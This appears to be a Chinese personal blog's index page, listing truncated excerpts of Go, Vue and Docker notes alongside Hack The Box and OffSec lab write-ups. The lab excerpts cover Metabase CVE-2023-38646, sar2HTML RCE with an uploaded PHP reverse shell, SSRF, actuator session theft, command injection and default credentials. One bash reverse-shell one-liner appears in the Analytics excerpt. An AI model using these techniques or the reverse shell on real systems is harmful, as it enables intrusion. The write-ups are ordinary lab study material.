go学习笔记(二)
goroutines and concurrency使用关键字go func()可以启动一个协程。
123456789101112131415161718package mainimport ( "fmt" "runtime")func say(s string) { for i := 0; i < 5; i++ { runtime.Gosched() fmt.Println(s) }}func main() { go say("world") // create a new goroutine say("hello") // current goroutine}
对于这个例子,其中runtime.Gosched()是显示指定让出cpu,执行另一个协程。该例子执行结果为
123456789helloworldhelloworldhelloworldhelloworldhe ...
go学习笔记(一)
参考资料:*Build Web Application with Golang*
开发环境vscode + go1.21.5 +wsl Ubuntu20.04
go项目结构分为GoPath和GoModules两种。
GoPath在GoPath模式下,所有和go项目相关的文件都在环境变量$GOPATH指向的路径下。在该路径下存在三个子路径:
1234$GOPATH├── src/ for source files whose suffix is .go, .c, .g, .s.├── pkg/ for compiled files whose suffix is .a.└── bin/ for executable files
src存放所有的 Go 源代码文件,pkg存放编译后的库文件(.a 文件),bin存放可执行文件。
这样导致的问题就是文件结构不自由并且多个项目的依赖管理困难。
注:$GOROOT和$GOPATH的区别,$GOPATH是go项目相关,$GOROOT则是Go的安装路径。
GoModules在 go1.11后推出了GoModules 模式,GoModules 模式主 ...
HTB靶机-Analytics
知识点(PS:这台机器似乎有bug,经常连不上)
正文首先扫描端口,22和80开放。
查看web界面
这里有一些输入框,但是没有后台交互。
只有login这里有登录界面
将这个url加入hosts,然后访问后台。
metabase是什么
Metabase 是一个开源的数据分析和数据探索工具,它允许用户通过直观的界面轻松地查询、可视化和共享数据。它的目标是使数据分析变得更加简单、快速和直观。
存在漏洞:CVE-2023-38646
影响版本:Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server
查看版本在影响范围内。
寻找poc,CVE-2023-38646
存在漏洞。
尝试反弹shell。
但是使用bash进行反弹的时候一直连不上
bash -i >& /dev/tcp/host/port 0>&1
换成 ...
offsec-Lab-Sar
知识点正文主页如下
路径扫描扫到robots.txt
然后发现存在sar2HTML 。
sar2HTML 是一个用于将 Linux 系统性能监控数据(通过 sar 命令收集的)转换为可视化的HTML报告的工具。它提供了一个直观的界面,以便用户可以更容易地分析和理解系统的性能表现。
搜索发现存在exp,sar2html 3.2.1 - ‘plot’ Remote Code Execution
直接执行poc
但是这里尝试后发现没办法反弹shell
利用php shell反弹shell在这了发现php可以正常上传,那么可以这里上传,通过刚才的命令行得到上传shenll 的路径。
看到路径为,http://ip/sar2HTML/sarDATA/uPLOAD/php-reverse-shell.php
在本地监听,访问该shell后反弹成功。
HTB靶机-RenderQuest
(待续)
知识点SSRF
正文web界面为
有一个提交窗口。
有两个参数use_remote和page。
这里存在一个SSRF,page控制的是url,use_remote是一个bool参数控制local或remote。
代码里
这里两个函数。
猜测两种方法,一个是用readRemoteFile读远程服务器上的shell。另一个是利用readFile读本地的flag。
第二个方法概率大一点。
先试一下第一个。修改page,当符合url格式时发现能访问外网如http://www.baidu.com, http://google.com。
在本地启动一个服务器,但是发现访问不到。
从第二个想法入手。查看源码。
这里使用rel, err := filepath.Rel(basePath, path)其中base是./,目的是限制路径为相对路径。否则可以直接通过绝对路径读到flag.txt了。
后面return !strings.HasPrefix(rel, ".."+string(filepath.Separator)) 如果相对路径中包含" ...
HTB靶机-CozyHosting
知识点
actuator未授权
session泄露
命令行注入
linux分隔符绕过
hash爆破
正文首先端口扫描
22和80开放。
web界面如下
除了login转向一个登陆界面,其他的都是静态的。
fuzz登录框,没有什么结果。每一次都会返回一个sessionid,猜测可以通过更改session获取登录态。
路径扫描后发现与有actuator和admin子路径。其中admin的状态是401,应该是未登录状态的原因。
打开actuator,很明显是actuator未授权,后台是java。
根据刚才的猜测,sessions是关键。但是还是先看看env。
里面的value都是星号,脱敏的方法。没有脱敏的条件。
还是看回sessions。
里面有一个不是未授权的session,将这个session替换,随即进入admin。
只有这个输入框可以交互,其他的都是静态的。
这里对输入框进行fuzz
所有为302状态返回的包,其Location返回都是类似报错。这个报错明显是ssh命令行出错,说明这里输入框的参数直接进入了命令行。可能存在命令注入。
在这里尝试反弹shel ...
HTB靶机-Keeper
对22和80两个端口进行扫描
web界面为
这个指向链接http://tickets.keeper.htb/rt/,但是发现访问不不了。
修改host,这样就能访问
这样出现了一个login界面
这里用到了一个request tracker的软件
Request Tracker,通常缩写为RT,是一种用Perl编写的工单跟踪事务跟踪管理系统软件,用于协调任务和管理在线用户社区之间的请求。RT 在 1996 年的第一个版本是由Jesse Vincent编写的,他后来成立了 Best Practical Solutions LLC 来分发、开发和支持该软件包。RT 是开源的,并在GNU 通用公共许可证下分发。
可以查到有以下漏洞,看了一下都比较难利用。
搜索Request Tracker的默认密码
尝试root password登录
登录成功!
然后要么找用户列表 尝试ssh,要么尝试命令执行和文件上传。
先看用户列表,除了管理员还有一个lnorgaard,邮箱为 lnorgaard ...
Vue学习笔记(二)
vite-vue-admin项目学习
左侧菜单栏左边菜单栏的定义由两部分控制,一个是接口 admin/info返回的 data.data.menus。另一个是路由router/index.ts的addRouter中。
admin/info:data.data.menus这个接口用于以用户为粒度,控制左侧菜单栏。在每次登陆后返回该用户可访问的菜单栏。
addRouter中则是菜单栏中各种子项的路由定义。
也就是说如果想要在左侧显示自定义的菜单栏,二者缺一不可。
在加载的时候stores/user.ts 路径下的menusFilter函数会结合两者(靠name来匹配,所以name唯一定义),在这里构建最终的菜单栏。其中id,title,icon以data.data.menus返回为准,方便自定义菜单样式。
123456item.meta.id = each.idif (each.title) { item.meta.title = each.title}if (each.icon) { item.meta.icon ...
docker构建及相关问题
1.使用Docker-compose.yml指定本地的Dockerfile时路径问题在Project项目下有如下内容。
12345678#Project.├── src├── docker│ ├── worker│ │ ├── Dockerfile ├── docker-compose.yml
在构造docker-compose.yml的时候,其中build设置如下。
context是上下文路径,之所以设置为项目的根目录,是因为在Dockerfile中存在COPY等命令,依赖于项目中所有的文件。如果上下文只在docker中,那么src/中的源代码在构建docker时候就无法使用。
123build: context: ../../Project dockerfile: docker/worker/Dockerfile
2.ERRORS:flags: 0x5000: not a directory在我的docker-compose.yml中,存在如下设置
12volumes: - ./config-docker.yaml:/code/app/config. ...